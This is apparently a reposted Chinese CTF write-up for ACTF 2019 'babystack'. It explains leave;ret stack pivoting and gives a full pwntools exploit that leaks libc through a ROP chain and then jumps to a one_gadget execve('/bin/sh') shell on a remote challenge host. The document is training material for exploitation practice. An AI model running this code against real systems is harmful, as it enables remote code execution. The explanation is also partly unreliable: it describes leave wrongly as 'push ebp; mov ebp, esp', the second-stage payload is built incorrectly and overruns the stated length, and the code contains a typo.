actf_2019_babystack | stack pivoting
作者:互联网
静态分析
查看保护机制
IDA分析
存在有限栈溢出,可以输入 0xE0 字节的数据,而 s 在栈上只有 0xD0 的空间
由于没有开启 Canary,常规做法是 ROP,但是由于溢出字节长度的限制,需要进行一次栈迁移再进行
栈迁移的核心思路是把 esp&ebp 寄存器的地址改到到一个可读可写的空间上(比如堆栈)
这道题直接显式输出的栈空间的地址,所以考虑把 ROP 的代码直接迁移到本栈上(由于开启了 NX 保护不能直接写 shellcodce,所以要用 gadgets)
具体实现
汇编指令 leave 和 ret 的本质:
leave:
push ebp
mov ebp, esp
ret:
pop eip
首先看 payload:
payload = 'a'*0x8 + p64(pop_rdi_ret) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(0x400800)
payload = payload.ljust(0xD0, 'a')
payload += p64(stack_addr) + p64(leave_ret)
利用栈溢出把主函数栈的 ebp 覆写成 s 的地址,ret_addr 覆写成 leave + ret 的 gadget
在执行 leave 的时候会把 esp 修改成 s 的地址,在执行 ret 的时候会把程序控制流劫持到栈上执行栈上
payload 的前半段是我们精心构造的 ROP,第一次注入用于泄露 puts 函数地址从而泄露 libc 地址
执行完毕后由返回 main(0x400800) 带着 one_gadget 准备进行第二次注入
payload 中的 'a'*0x8 是 Fake_ebp,在这里是无用的数据,要注意每次注入的时候要保证 payload 长度为 0xD0 + 0x10 = 0xE0
EXP
from pwn import *
context.log_level = 'debug'
#io = process('./ACTF_2019_babystack')
io = remote('node3.buuoj.cn', '27528')
e = ELF('./ACTF_2019_babystack')
libc = ELF('./libc-2.27.so')
def debug():
gdb.attach(io)
puase()
pop_rdi_ret = 0x400ad3
leave_ret = 0x400A18
io.sendlineafter('>', '224')
io.recvuntil('0x')
stack_addr = int(io.recv(12), 16)
log.success('stack addr: '+hex(stack_addr))
payload = 'a'*0x8 + p64(pop_rdi_ret) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(0x400800)
payload = payload.ljust(0xD0, 'a')
payload += p64(stack_addr) + p64(leave_ret)
io.send(payload)
io.recvuntil('Byebye~\n')
libc_address = u64(io.recv(6).ljust(8, '\x00')) - libc.symbols['puts']
log.success('libc addr: '+hex(libc_address))
bin_sh_addr = libc_address + libc.search('/bin/sh').next()
system_addr = libc_address + libc.symbols['system']
sleep(4)
io.sendlineafter('>', '224')
io.recvuntil('0x')
stack_addr = int(io.recv(12), 16)
log.success('stack addr: '+hex(stack_addr))
#debug()
'''
0x4f2c5 execve('/bin/sh', rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve('/bin/sh', rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve('/bin/sh', rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget = libc_address + 0x4f2c5
payload = 'a'*0x8 + p64(one_gadget) + payload.ljust(0xD0, 'a')
payload += p64(stack_addr) + p64(leave_ret)
io.send(payload)
io.interactive()
标签:pivoting,p64,libc,babystack,ret,2019,io,payload,addr 来源: https://www.cnblogs.com/zhwer/p/14291465.html